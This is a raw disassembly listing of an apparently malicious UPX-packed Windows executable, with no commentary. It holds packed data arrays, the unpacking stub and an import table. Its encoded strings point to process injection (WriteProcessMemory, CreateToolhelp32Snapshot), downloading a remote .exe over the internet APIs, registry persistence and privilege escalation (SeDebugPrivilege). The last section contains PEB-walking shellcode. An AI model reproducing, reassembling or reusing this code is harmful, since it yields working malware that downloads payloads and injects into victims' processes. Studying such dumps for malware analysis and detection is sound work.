dword_315061A4	dd 0							; UPX0:31503553w ...
dword_315061A8	dd 0							; sub_31503722+E8r ...
dword_315061AC	dd 8 dup(0)						; sub_31503722+Ao
dword_315061CC	dd 38Dh	dup(0)			dd 0C4h, 40h, 74736C01h, 706D6372h, 47010041h, 6F4C7465h
		dd 656C6163h, 6F666E49h, 53010041h, 75437465h, 6E657272h
		dd 72694474h, 6F746365h, 417972h, 69725701h, 69466574h
		dd 100656Ch, 53746547h,	65747379h, 6D69546Dh, 53010065h
		dd 65747379h, 6D69546Dh, 466F5465h, 54656C69h, 656D69h
		dd 72695601h, 6C617574h, 65657246h, 69560100h, 61757472h
		dd 6C6C416Ch, 100636Fh,	4D746547h, 6C75646Fh, 6C694665h
		dd 6D614E65h, 1004165h,	7274736Ch, 69706D63h, 47010041h
		dd 79537465h, 6D657473h, 65726944h, 726F7463h, 1004179h
		dd 7274736Ch, 41746163h, 6F430100h, 69467970h, 41656Ch
		dd 6E695701h, 63657845h, 72430100h, 65746165h, 6C6F6F54h
		dd 706C6568h, 6E533233h, 68737061h, 100746Fh, 636F7250h
		dd 33737365h, 72694632h, 1007473h, 6D726554h, 74616E69h
		dd 6F725065h, 73736563h, 72500100h, 7365636Fh, 4E323373h
		dd 747865h, 74736C01h, 79706372h, 43010041h, 74616572h
		dd 65764565h, 41746Eh, 69615701h, 726F4674h, 676E6953h
		dd 624F656Ch, 7463656Ah, 65440100h, 6574656Ch, 656C6946h
		dd 47010041h, 614C7465h, 72457473h, 726F72h, 69784501h
		dd 6F725074h, 73736563h, 736C0100h, 656C7274h, 100416Eh
		dd 65656C53h, 6C010070h, 63727473h, 416E7970h, 65470100h
		dd 72754374h, 746E6572h, 636F7250h, 737365h, 74654701h
		dd 636F7250h, 72646441h, 737365h, 616F4C01h, 62694C64h
		dd 79726172h, 57010041h, 65746972h, 636F7250h, 4D737365h
		dd 726F6D65h, 43010079h, 65736F6Ch, 646E6148h, 100656Ch
		dd 6E65704Fh, 636F7250h, 737365h, 74654701h, 75646F4Dh
		dd 6148656Ch, 656C646Eh, 47010041h, 69547465h, 6F436B63h
		dd 746E75h, 65724301h, 4D657461h, 78657475h, 43010041h
		dd 74616572h, 72685465h, 646165h, 65724301h, 50657461h
		dd 65636F72h, 417373h, 74655301h, 6E657645h, 4F010074h
		dd 456E6570h, 746E6576h, 45010041h, 54746978h, 61657268h
		dd 49010064h, 7265746Eh, 6B636F6Ch, 6E496465h, 6D657263h
		dd 746E65h, 61655201h, 6C694664h, 47010065h, 69467465h
		dd 6953656Ch, 100657Ah,	61657243h, 69466574h, 41656Ch
		dd 0D100h, 0
		dd 72430100h, 43747079h, 74616572h, 73614865h, 43010068h
		dd 74707972h, 68736148h, 61746144h, 72430100h, 56747079h
		dd 66697265h, 67695379h, 7574616Eh, 416572h, 79724301h
		dd 65447470h, 6F727473h, 73614879h, 43010068h, 74707972h
		dd 74736544h, 4B796F72h, 1007965h, 70797243h, 6C655274h
		dd 65736165h, 746E6F43h, 747865h, 79724301h, 63417470h
		dd 72697571h, 6E6F4365h, 74786574h, 43010041h, 74707972h
		dd 6F706D49h, 654B7472h, 52010079h, 72436765h, 65746165h
		dd 4579654Bh, 1004178h,	53676552h, 61567465h, 4565756Ch
		dd 1004178h, 51676552h,	79726575h, 756C6156h, 41784565h
		dd 65520100h, 65704F67h, 79654B6Eh, 417845h, 67655201h
		dd 656C6544h, 61566574h, 4165756Ch, 65520100h, 6F6C4367h
		dd 654B6573h, 41010079h, 74726F62h, 74737953h, 68536D65h
		dd 6F647475h, 416E77h, 0DE00h, 0F800h, 74610100h, 100696Fh
		dd 6E617461h, 69730100h, 6301006Eh, 100736Fh, 5F48455Fh
		dd 6C6F7270h, 100676Fh,	78435F5Fh, 61724678h, 6148656Dh
		dd 656C646Eh, 73010072h, 68637274h, 73010072h, 70637274h
		dd 73010079h, 61637274h, 5F010074h, 65637865h, 685F7470h
		dd 6C646E61h, 337265h, 72747301h, 727473h, 6E617201h, 73010064h
		dd 646E6172h, 656D0100h, 7970636Dh, 74730100h, 6E656C72h
		dd 656D0100h, 7465736Dh, 0E90000h, 13C0000h, 77010000h
		dd 69727073h, 4166746Eh, 65470100h, 726F4674h, 6F726765h
		dd 57646E75h, 6F646E69h, 46010077h, 57646E69h, 6F646E69h
		dd 1004177h, 57746547h,	6F646E69h, 72685477h, 50646165h
		dd 65636F72h, 64497373h, 0F40000h, 1500000h, 49010000h
		dd 7265746Eh, 4F74656Eh, 556E6570h, 416C72h, 746E4901h
		dd 656E7265h, 65704F74h, 100416Eh, 65746E49h, 74656E72h
		dd 64616552h, 656C6946h, 6E490100h, 6E726574h, 65477465h
		dd 6E6F4374h, 7463656Eh, 74536465h, 657461h, 10000h, 16400h
		dd 12FF00h, 0FF0008FFh,	2FF0073h, 0DFF00h, 0FF0001FFh
		dd 6FFF0039h, 0BFF00h, 0FF0034FFh, 0CFF0017h, 9FF00h, 0FF0004FFh
		dd 10FF0013h, 16FF00h, 3FFh, 0
		dd 4550h, 2014Ch, 40D3275Dh, 2 dup(0)
		dd 10F00E0h, 6010Bh, 3400h, 1200h, 0
		dd 1D18h, 1000h, 5000h,	31500000h, 1000h, 200h,	4, 0
		dd 4, 0
		dd 7000h, 400h,	0
		dd 2, 100000h, 1000h, 100000h, 1000h, 0
		dd 10h,	2 dup(0)
		dd 3B68h, 8Ch, 14h dup(0)
		dd 1000h, 1B0h,	6 dup(0)
		dd 7865742Eh, 74h, 3330h, 1000h, 3400h,	400h, 3	dup(0)
		dd 0E0040020h, 7461642Eh, 61h, 11CDh, 5000h, 1200h, 3800h
		dd 3 dup(0)
		dd 0C0000040h, 6000h, 3DA4h, 652Ch, 0C48BC800h,	0BC4B56DDh
		dd 8BE18B0Ch, 0C371406Ah, 23231C47h, 5182363h, 9F080C14h
		dd 4232323h, 8410FC00h,	7CF83A10h, 107C777Eh, 0E8B81078h
		dd 6EFBE9BBh, 0B8E6B56h, 0D01D0CECh, 163B40B8h,	27EFBAE9h
		dd 930520CCh, 1308E719h, 0CD180701h, 57850802h,	0F7C90B07h
		dd 2F2B0096h, 0BE4A0030h, 4EE0E2E7h, 41601F57h,	57D93758h
		dd 9ED0h, 443FFFBh, 746858EBh, 2F3A7074h, 3732312Fh, 0FF01302Eh
		dd 31BFFD91h, 3030383Ah, 652E652Fh, 0DF6578h, 697A6F4Dh
		dd 6D616C6Ch, 2FDBFFFFh, 5DDF2734h, 0B966C933h,	758D01F1h
		dd 8AFE8B05h, 7993C06h,	0FF8ADF46h, 302C06BFh, 88993446h
		dd 0EDE24707h, 0DAE80AEBh, 65622EFAh, 0FF6FFF67h, 93712EFBh
		dd 1201C999h, 0FD91BDFDh, 72C10716h, 0FD42AA68h, 10FDAA66h
		dd 0FBADD8BAh, 0A91C14F7h, 0F3C91A98h, 8608F198h, 10C57102h
		dd 0FFD9FD87h, 37CB5F90h, 1C965992h, 0E4143A78h, 0A7D7157h
		dd 0F6DF7D3Ah, 0F34571C9h, 8904F19Dh, 9C04F109h, 0CE91FEC7h
		dd 67B44011h, 10F0E3F3h, 0B20BD11Ch, 0F7FB1B59h, 0C99B6076h
		dd 14D90125h, 0CA17A204h, 0F9647F99h, 688D2B58h, 1AAE9161h
		dd 1D966661h, 0DADEDB11h, 50B22867h, 149900C8h,	265557DCh
		dd 0DBBDBF12h, 0C0A44E3Fh, 99491291h, 54F7EDh, 0CA3AC414h
		dd 0FBBB0FCBh, 1C3C71D9h, 21E424FFh, 0CDCDCF1Ah, 0F72C668Fh
		dd 8166D93Fh, 0B0FB133Fh, 0CDC383B8h, 64A85D12h, 0C96CDF3Bh
		dd 0AE251DCBh, 93FD0C24h, 485AFEC9h, 14C096A6h,	0A7294C1Ch
		dd 609CF3EBh, 0BA9767EFh, 0F43416EAh, 0DBF57126h, 0FFF77ECDh
		dd 0EF133BF9h, 376B4629h, 4766DE5Fh, 0B7AAA8ECh, 8519F0ABh
		dd 1FFFF90h, 0EDFFC5B7h, 0FDE9ECE9h, 0FCE1FCB7h, 0F6FFC999h
		dd 0F55BBE5Fh, 0F2E9FCFCh, 0FCF7EBFCh, 0D9ABAAF5h, 0AAF934C7h
		dd 9F25B459h, 2AFF97FDh, 0ACC9662Ah, 0B7819093h, 83639D90h
		dd 9271CDC9h, 3519BF30h, 0C2FBB083h, 95DC1451h,	2A91720Ah
		dd 0D2EEC871h, 0FFFFEDFFh, 80D512A5h, 0AA529AE1h, 2A8D146Fh
		dd 12B9C89Ah, 474A9A8Bh, 0AB9E5958h, 0A319DB9Bh, 6FFFFEDFh
		dd 0A26CEC20h, 0ED85BDDDh, 0E8A2DF9Eh, 5544EB81h, 1FBDC812h
		dd 0EB8D2E96h, 0FFE68584h, 9A85D812h, 99D125Ah,	0F8105A9Ah
		dd 0B725D599h, 49FFDDB7h, 0FEFD7F66h, 5AA98712h, 850295C2h
		dd 91048212h, 0A89BF35Ah, 0CFF7CB6Dh, 53FF855Dh, 8F72424Dh
		dd 1874485Dh, 0FE85C853h, 2006206h, 0FFFFF1ADh,	4E204350h
		dd 4F575445h, 50204B52h, 52474F52h, 31204D41h, 0FFFB17CDh
		dd 414CF6B1h, 0A024D4Eh, 646E6957h, 2073776Fh, 20726F66h
		dd 2DD60357h, 676B7F6Dh, 70756F72h, 611A330Eh, 5E234D27h
		dd 32E96C3Eh, 32322158h, 4E312E32h, 6F92054h, 2018DA6Bh
		dd 0A470323Ch, 50BB738Bh, 0A07192Bh, 5123FF0Ch,	7D8363h
		dd 140A1104h, 0BBD40520h, 0CABB5BE8h, 4B4C0069h, 505353h
		dd 0FB829756h, 8C91EDFh, 240057E0h, 64006Eh, 77006Fh, 0F6F63A73h
		dd 30749B62h, 398C0901h, 3233500h, 1D44B6E6h, 0DA00072Eh
		dd 644E7901h, 0DA2008ABh, 92649A87h, 26039F57h,	6D8360C8h
		dd 47234601h, 73FF4007h, 60F23h, 1F011006h, 0E0888A15h
		dd 0FF600048h, 4FE5FFh,	6A198144h, 49E4F27Ah, 30AF281Ch
		dd 67107425h, 214FE153h, 0DF5C44DFh, 4003075h, 2DAE6BAFh
		dd 5ABD075Ch, 8D615C08h, 4D75DC8Dh, 36072Eh, 30772E38h
		dd 0DB7BAF61h, 0EC00491Bh, 3B240043h, 2D63003Fh, 64CF201Fh
		dd 4DC08A2h, 0E41EC240h, 0FF16BFh, 0E00DEDEh, 19F1600h
		dd 37EF2602h, 28404261h, 8B110319h, 0B868DECBh,	0D374D96Ch
		dd 2A630070h, 0BE4296DBh, 9F256B9Ch, 75480E10h,	43D81DDh
		dd 5413541Bh, 0FB9F265Ah, 5963D6DCh, 0CBC75C22h, 5876545h
		dd 0F3483B55h, 10030B00h, 110B848h, 349FFFFBh, 286A0105h
		dd 0B10C3919h, 0A89B11D0h, 0D94FC000h, 655FF52Eh, 5D1FF85Fh
		dd 1CEB8A88h, 0E89F11C9h, 48102B3Ch, 9F25D160h,	0F40CEC8Bh
		dd 0CA060A3h, 790F200Ch, 0CB10CA0h, 4EFFBE00h, 880CA08Eh
		dd 90040h, 703ECh, 49E11EC1h, 4F401495h, 0BF40707Ch, 0B2297B22h
		dd 13430700h, 3FF09E79h, 138578h, 0E9A65BABh, 2FF81013h
		dd 273C635h, 230EFEFFh,	30C1D240h, 84083658h, 0E4F24388h
		dd 10B97DD3h, 0B801FFEEh, 0F2200C10h, 0AD793661h, 0F7F070Dh
		dd 0E59F25D8h, 70011815h, 90060F84h, 0F84790Fh,	2000F95h
		dd 0FC9E4D87h, 6C0F847Fh, 0C89A000Fh, 0A884AADEh, 0CA13436Fh
		dd 1F8C093Fh, 50586E69h, 3C725020h, 0C0A6DBh, 39014446h
		dd 0C93C6B32h, 123C844Fh, 41027515h, 7B220053h,	941C840Dh
		dd 0AFFF9B01h, 0C606EB1Ch, 73255C5Ch, 6370695Ch, 9F816624h
		dd 0ECFFF97Fh, 0E4FF071Ch, 44655300h, 67756265h, 6C697669h
		dd 41656765h, 0B266DB64h, 73756AFFh, 6B6F5474h,	73176E65h
		dd 75126F4Ch, 927F76FDh, 6C615670h, 17416575h, 6F28704Fh
		dd 2FFE0C63h, 347324B6h, 76646143h, 33697061h, 12E2AEE3h
		dd 6574757Fh, 13316D72h, 0BB036932h, 65A37F12h,	72545F15h
		dd 39577961h, 0EF72431Bh, 65DBEDDCh, 65521E61h,	54056F6Dh
		dd 56140C68h, 6E747269h, 75B6D6EDh, 5328415Ch, 520F7845h
		dd 5F466E72h, 4B35D67Ah, 4822F3F5h, 83505454h, 89712FDEh
		dd 5B322040h, 0D4B4F20h, 0DBFD010Ah, 6F4BFDADh,	2D02446Eh
		dd 7467044Ch, 25203A68h, 2961ED75h, 282F189Bh, 0F4B97954h
		dd 266B7DB6h, 696C70A7h, 15698563h, 0A32D782Fh,	0CB77EED8h
		dd 6D6F632Dh, 65CD7270h, 5BDF5764h, 0D4FF28h, 544547h
		dd 11640266h, 0DD2BFDA1h, 6D9573D7h, 0B1637673h, 6DA2DDD7h
		dd 65017765h, 5F320F08h, 0FDCCDCE6h, 34317517h,	507F703h
		dd 9A696E07h, 3132032Eh, 0D8133930h, 38B3937Bh,	2306781Fh
		dd 0C9BDC07h, 4F303132h, 7F7F7529h, 0BB2098FBh,	52455355h
		dd 4E084449h, 65849h, 48217B59h, 253AE8A1h, 0C5A7CD64h
		dd 53FFF2F6h, 5754464Fh, 5C455241h, 736F694Dh, 0DD5CC36Fh
		dd 0B783F0D6h, 7275435Ch, 0C8560972h, 0B55CFE73h, 52C3E142h
		dd 7953BC75h, 0F25290FDh, 0E7A1877Fh, 6664579Ah, 6E687361h
		dd 6473647Ah, 76D6126Ch, 77495313h, 5C573F61h, 0ED860A1h
		dd 528B396Ch, 0B44B0D57h, 39C23D6h, 667120F5h, 0F70E86EFh
		dd 76206769h, 38761BFDh, 9D326576h, 67B9B64Bh, 10532064h
		dd 0B81B6544h, 1421B237h, 1B17235Ch, 9B325C3Fh,	42004CABh
		dd 0AC91203Fh, 3D9F1A35h, 0B01EBF23h, 654AD42h,	69443792h
		dd 6DBB9E73h, 66EE7694h, 9C6D672Fh, 6C2FF62Ah, 632463C9h
		dd 7974690Ah, 6E614D20h, 58C5E91Eh, 31C91AB1h, 0C59DB48Ch
		dd 5234D376h, 80E4153h,	0FFFFEFBCh, 0A4C11BFFh,	0DD499F8Eh
		dd 64DB1F45h, 0DE5B5C5h, 23CBE2AAh, 63639922h, 7318481Ch
		dd 0EDFFFFFFh, 8C9AC3F2h, 0CC4D8556h, 0D3AD0FE1h, 37691506h
		dd 98A8FD8Dh, 0CE700B16h, 1445504Fh, 0F837FFFFh, 0EF324A39h
		dd 0D847AEE3h, 0BA84DFBDh, 7380371Eh, 0DF58B81h, 92E07D4Ah
		dd 0E8DFFFFFh, 0B8C52DFEh, 85E020C6h, 5068BD9Ch, 50B6296Ah
		dd 42C33482h, 9808117Fh, 0FFFFFFFFh, 0E7B7B21Ch, 77899D9Ch
		dd 0D3971A3Dh, 8D5029A4h, 463A96A5h, 12E8FC8Dh,	0AF10EB16h
		dd 0F8457044h, 0FFFFFFEAh, 78966AD0h
		dd 51439FB1h, 86A827EBh, 98A3970h, 0A1C214DEh, 167A53C1h
		dd 9785C4BFh, 0A0DFA378h, 9829E70Fh, 53899E9Eh,	940724FEh
		dd 0FFFFFFFFh, 75A3ECCAh, 0F91DA11Eh, 0CBC5B4E8h, 0F0DB1A4Eh
		dd 873969D7h, 7B948C1Ah, 821318C6h, 4BBF3EB3h, 0F02FFFFFh
		dd 0EB67E042h, 60B737B2h, 0D7D8B3AAh, 65048022h, 0FF4BA67Ah
		dd 45855886h, 0FC1BFFA6h, 0EEF96EF6h, 3290C956h, 0B7A63B4Ah
		dd 0EBD3D87Ah, 97EE4263h, 0F7041888h, 31505FE8h, 0A69A03CCh
		dd 98B49A69h, 2C3C5878h, 69B2CD34h, 0DC5EF814h,	34D3B4CCh
		dd 90A4D34Dh, 0B607480h, 7142E96Dh, 5B6D2E9Fh, 6CDC0575h
		dd 0A7685B24h, 0B700492Eh, 96B60D64h, 6BC52C2Dh, 611C67ADh
		dd 0DB01F06Eh, 2C7586D8h, 7A6F2F72h, 70DB7962h,	41D9ACBCh
		dd 0A4147262h, 0AD600C79h, 58796C25h, 0D6674A38h, 0CA6B46F1h
		dd 732E61B6h, 84277578h, 6EC73A36h, 3D2E1646h, 6D80B067h
		dd 2FCA468Eh, 51C6C28h,	6734BB7Bh, 116F701Ah, 13617A2Eh
		dd 0CF1B66C3h, 61FE3309h, 401A5F13h, 676F8E6Eh,	776B7543h
		dd 675DBD90h, 1F74D85Eh, 1FA56364h, 0FCA9EB59h,	2D736F6Ch
		dd 0A72E5861h, 6BADB220h, 0AB75E35Bh, 0BE62166Ch, 0B6BB253Dh
		dd 7266B92Fh, 4A616C66h, 0EEC09FEh, 61726733h, 74612E7Ah
		dd 6D0B8180h, 7736876Dh, 7DBBDA2Dh, 1EE5AE6Ah, 6362CB75h
		dd 0BF676621h, 7FDB0BEAh, 6D6C6B6Ah, 71706F6Eh,	77927452h
		dd 0DA7A7978h, 0F95FFE58h, 44434241h, 48474645h, 4E4B4A49h
		dd 7B5751FCh, 544058A1h, 5A59581Ah, 0F5ADB81Bh,	77A08152h
		dd 0B62A2038h, 2140E907h, 0FF8C6702h, 0F60C4BCBh, 4B43CA56h
		dd 26501320h, 0F66E9553h, 4E4F0B64h, 490B0A47h,	0FA5DAC3Fh
		dd 92353407h, 2F0C4F4Ah, 54495551h, 24816B6Fh, 477B561Ah
		dd 0B6E5F766h, 74231163h, 841779B5h, 0C0E0075Fh, 20A202CBh
		dd 0BED6F328h, 6203E85Dh, 34203B64h, 36204549h,	0B060915h
		dd 0B41EAC30h, 70164035h, 29EC5Fh, 371776Bh, 0CEBA2C61h
		dd 4D02E6B5h, 690F075Ch, 8127C03h, 2D6569B7h, 0A6C71331h
		dd 0C48A08BBh, 0FFEE4009h, 6C01FF97h, 63727473h, 4741706Dh
		dd 6F4C7465h, 656C6163h, 6F666E49h, 56715B0Fh, 44525394h
		dd 452E6309h, 797F14B7h, 65595715h, 588A4746h, 9E303483h
		dd 0BD9A6954h, 0E6DB997h, 206F540Bh, 0ED65A015h, 4146000Ch
		dd 3C42BF0Ch, 4D3F0DF6h, 2DAC646Fh, 0B016614Eh,	8E412D93h
		dd 7E5E4169h, 6F40AEFh,	4309DF1Fh, 1E79706Fh, 387BFEE4h
		dd 456E6993h, 81516578h, 0ED06FFF6h, 9A6C6F7Eh,	53323370h
		dd 7370616Eh, 19746F68h, 0A0CDADDDh, 723212D3h,	5540F73h
		dd 0C641AD73h, 0F6182C35h, 2180FB06h, 7478654Eh, 54727068h
		dd 7867CB6Ch, 0FF087645h, 538B4661h, 42B7B9B1h,	624F7BE4h
		dd 4414996Ah, 0A136796h, 4CB715CFh, 0CAC94561h,	263A15ADh
		dd 6378452Fh, 7B61DBB2h, 5C6E2354h, 65706506h, 5F092C97h
		dd 2E6E4711h, 0D8A06F12h, 64410B3Fh, 140F7264h,	7262694Ch
		dd 84B60C28h, 4D2B8961h, 8DC4625h, 5FAB1F67h, 100E4865h
		dd 9F874496h, 0C2E16CCBh, 701D166Ch, 476B63A2h,	6D61D12Dh
		dd 4DE57275h, 366C78DFh, 0C4F39289h, 45986A0Dh,	0E193198h
		dd 7B0E8162h, 31E91943h, 0DB639249h, 6BE48376h,	630A6465h
		dd 522D6D13h, 70C9785Dh, 45083A1Bh, 0C426657Ah,	3D5E8613h
		dd 5868D100h, 15EECDA1h, 1A747079h, 710C4B2h, 0A2FB6CDh
		dd 0E611244h, 0C3057BECh, 79666976h, 3CCA6746h,	0B7B016D5h
		dd 578F10A1h, 112C796Fh, 0BEC1866Dh, 1079654Bh,	651EB252h
		dd 178763F9h, 4114EF3Eh, 69757163h, 871A1672h, 8F494D0Dh
		dd 0B9B6745Ch, 0C13AF759h, 0EF0D9267h, 3B0E1041h, 3E0D2194h
		dd 90EC510Fh, 350AD6B0h, 98302511h, 2D0466C5h, 0E19E1021h
		dd 5FB5458Eh, 0F5696241h, 0C34D6853h, 0AF8B1446h, 0F8DE136Eh
		dd 3B77E5DDh, 5696F78h,	69736E61h, 0B6EF6304h, 736FCBF6h
		dd 5F48455Fh, 6744DC70h, 78435F0Bh, 98263878h, 0E74C6C4Ah
		dd 83936B81h, 768627Dh,	2A427970h, 9A15BB3Bh, 5FDDCFE2h
		dd 29332868h, 1CD7399Bh, 11727473h, 5B49060Dh, 6D6C31CCh
		dd 0AC0FBA36h, 0D9B6B774h, 3CE9946Ch, 7C737701h, 1966748Bh
		dd 5219A682h, 5639651Bh, 3AA29168h, 0BD8146Fh, 1B366331h
		dd 0C7290B21h, 5383B669h, 0F44F6449h, 0F6D83B50h, 35A78AE0h
		dd 11417355h, 5B01196Ch, 1B114E0Eh, 5D3706A6h, 77936EBBh
		dd 0C5D55753h, 525574A2h, 0B2CBA564h, 2125B2Ch,	0D027308h
		dd 0B2CB2C01h, 0B6F392Ch, 2CB21734h, 90CB2CBh, 54101304h
		dd 16CA00CFh, 46455057h, 2FA025F5h, 0D3275DB7h,	9ACF0340h
		dd 0F001FEDh, 6010B01h,	1312340Ch, 98D81D18h, 30E5017Bh
		dd 0DD0B3135h, 2C0092Ch, 700C076Bh, 25B99D81h, 710341Eh
		dd 0B258E58Ah, 3B680306h, 176C28Ch, 0B0647FC2h,	53581E01h
		dd 42EBA75h, 0C1903303h, 34360608h, 0C837C0C4h,	0E004F4EDh
		dd 0FB90642Eh, 271211CDh, 48586E0Ah, 0C03838h, 61800060h
		dd 33D205Bh, 1962Ch, 0
		dd 0FF2000h, 2 dup(0)
; ---------------------------------------------------------------------------
		pusha
		mov	esi, offset aMoscowAdvokat_ ; "moscow-advokat.ru"
		lea	edi, [esi-5000h]
		push	edi
		or	ebp, 0FFFFFFFFh
		jmp	short loc_31508422
; ---------------------------------------------------------------------------
		align 8


loc_31508418:				; CODE XREF: UPX1:loc_31508429j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_3150841E:				; CODE XREF: UPX1:315084B6j
					; UPX1:315084CDj
		add	ebx, ebx
		jnz	short loc_31508429


loc_31508422:				; CODE XREF: UPX1:31508410j
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_31508429:				; CODE XREF: UPX1:31508420j
		jb	short loc_31508418
		mov	eax, 1


loc_31508430:				; CODE XREF: UPX1:3150843Fj
					; UPX1:3150844Aj
		add	ebx, ebx
		jnz	short loc_3150843B
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_3150843B:				; CODE XREF: UPX1:31508432j
		adc	eax, eax
		add	ebx, ebx
		jnb	short loc_31508430
		jnz	short loc_3150844C
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_31508430


loc_3150844C:				; CODE XREF: UPX1:31508441j
		xor	ecx, ecx
		sub	eax, 3
		jb	short loc_31508460
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		xor	eax, 0FFFFFFFFh
		jz	short loc_315084D2
		mov	ebp, eax


loc_31508460:				; CODE XREF: UPX1:31508451j
		add	ebx, ebx
		jnz	short loc_3150846B
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_3150846B:				; CODE XREF: UPX1:31508462j
		adc	ecx, ecx
		add	ebx, ebx
		jnz	short loc_31508478
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_31508478:				; CODE XREF: UPX1:3150846Fj
		adc	ecx, ecx
		jnz	short loc_3150849C
		inc	ecx


loc_3150847D:				; CODE XREF: UPX1:3150848Cj
					; UPX1:31508497j
		add	ebx, ebx
		jnz	short loc_31508488
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_31508488:				; CODE XREF: UPX1:3150847Fj
		adc	ecx, ecx
		add	ebx, ebx
		jnb	short loc_3150847D
		jnz	short loc_31508499
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_3150847D


loc_31508499:				; CODE XREF: UPX1:3150848Ej
		add	ecx, 2


loc_3150849C:				; CODE XREF: UPX1:3150847Aj
		cmp	ebp, 0FFFFF300h
		adc	ecx, 1
		lea	edx, [edi+ebp]
		cmp	ebp, 0FFFFFFFCh
		jbe	short loc_315084BC


loc_315084AD:				; CODE XREF: UPX1:315084B4j
		mov	al, [edx]
		inc	edx
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_315084AD
		jmp	loc_3150841E
; ---------------------------------------------------------------------------
		align 4


loc_315084BC:				; CODE XREF: UPX1:315084ABj
					; UPX1:315084C9j
		mov	eax, [edx]
		add	edx, 4
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 4
		ja	short loc_315084BC
		add	edi, ecx
		jmp	loc_3150841E
; ---------------------------------------------------------------------------


loc_315084D2:				; CODE XREF: UPX1:3150845Cj
		pop	esi
		mov	edi, esi
		mov	ecx, 0CAh


loc_315084DA:				; CODE XREF: UPX1:315084E1j
					; UPX1:315084E6j
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_315084DF:				; CODE XREF: UPX1:31508504j
		cmp	al, 1
		ja	short loc_315084DA
		cmp	byte ptr [edi],	1
		jnz	short loc_315084DA
		mov	eax, [edi]
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		sub	eax, edi
		sub	bl, 0E8h
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		mov	eax, ebx
		loop	loc_315084DF
		lea	edi, [esi+6000h]


loc_3150850C:				; CODE XREF: UPX1:3150852Ej
		mov	eax, [edi]
		or	eax, eax
		jz	short loc_31508557
		mov	ebx, [edi+4]
		lea	eax, [eax+esi+8000h]
		add	ebx, esi
		push	eax
		add	edi, 8
		call	dword ptr [esi+808Ch]
		xchg	eax, ebp


loc_31508529:				; CODE XREF: UPX1:3150854Fj
		mov	al, [edi]
		inc	edi
		or	al, al
		jz	short loc_3150850C
		mov	ecx, edi
		jns	short near ptr loc_3150853A+1
		movzx	eax, word ptr [edi]
		inc	edi
		push	eax
		inc	edi


loc_3150853A:				; CODE XREF: UPX1:31508532j
		mov	ecx, 0AEF24857h
		push	ebp
		call	dword ptr [esi+8090h]
		or	eax, eax
		jz	short loc_31508551
		mov	[ebx], eax
		add	ebx, 4
		jmp	short loc_31508529
; ---------------------------------------------------------------------------


loc_31508551:				; CODE XREF: UPX1:31508548j
		call	dword ptr [esi+8094h]


loc_31508557:				; CODE XREF: UPX1:31508510j
		popa
		jmp	loc_31501D18
; ---------------------------------------------------------------------------
		align 1000h
UPX1		ends

; Section 3. (virtual address 00009000)
; Virtual size			: 00015000 (  86016.)
; Section size in file		: 00015000 (  86016.)
; Offset to raw	data for section: 00009000
; Flags	E00000E0: Text Data Bss	Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX2		segment	para public 'CODE' use32
		assume cs:UPX2
		;org 31509000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
		dd 3 dup(0)
		dd 90C4h, 908Ch, 3 dup(0)
		dd 90D1h, 909Ch, 3 dup(0)
		dd 90DEh, 90A4h, 3 dup(0)
		dd 90E9h, 90ACh, 3 dup(0)
		dd 90F4h, 90B4h, 3 dup(0)
		dd 9100h, 90BCh, 5 dup(0)
		dd 7C801D77h, 7C80ADA0h, 7C81CDDAh, 0
		dd 77DD6BF0h, 0
		dd 77C4D444h, 0
		dd 7E41A8ADh, 0
		dd 42C2C8A1h, 0
		dd 71AB9639h, 0
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h
		dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h
		dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h
		dd 642E3233h, 6C6Ch, 64616F4Ch,	7262694Ch, 41797261h, 65470000h
		dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h
		dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 69730000h
		dd 6Eh,	72707377h, 66746E69h, 41h, 65746E49h, 74656E72h
		dd 6E65704Fh, 41h, 26h dup(0)
		dd 59E85Bh, 648B0000h, 0EBB80824h, 0EB000004h, 0A16764FAh
		dd 408B0018h, 40B60F30h, 0F88302h, 0E83C75h, 5D000000h
		dd 2320ED81h, 858B0040h, 402367h, 236F8503h, 0F08B0040h
		dd 236B858Bh, 85030040h, 40236Fh, 33FE8B50h, 8532ACC9h
		dd 402377h, 8D3B41AAh, 402373h,	2BC3EF7Ch, 30FF64C0h, 0B8208964h
		dd 12345678h, 60000387h, 84000000h, 0
		dd 26003150h, 500000h, 760h dup(0)
dword_3150B000	dd 13E8h, 0F28ADE00h, 18E9B9h, 2103000h, 0F9E240D6h, 0C3310FC3h
					; DATA XREF: starto
		dd 246C8B55h, 246C8104h, 1E0504h, 0FFEBE800h, 0C88BFFFFh
		dd 0FFFFE4E8h, 3DC12BFFh, 100h,	5C8B4573h, 0E3810824h
		dd 0FFFFF000h, 1005ED81h, 0B8B0040h, 8166E932h,	74174DF9h
		dd 9B8D08h, 0EBFFFFF0h,	3C438BEDh, 7818548Bh, 8B1A148Dh
		dd 728B184Ah, 348D5120h, 7C81AD33h, 41630603h, 5746464h
		dd 5D59F3E2h, 240C29C3h, 8B24728Bh, 858D1C7Ah, 40109Bh
		dd 0FF6A908Ah, 6BE8FFFFh, 87FFFFFFh, 0E17769BFh, 35F35C30h
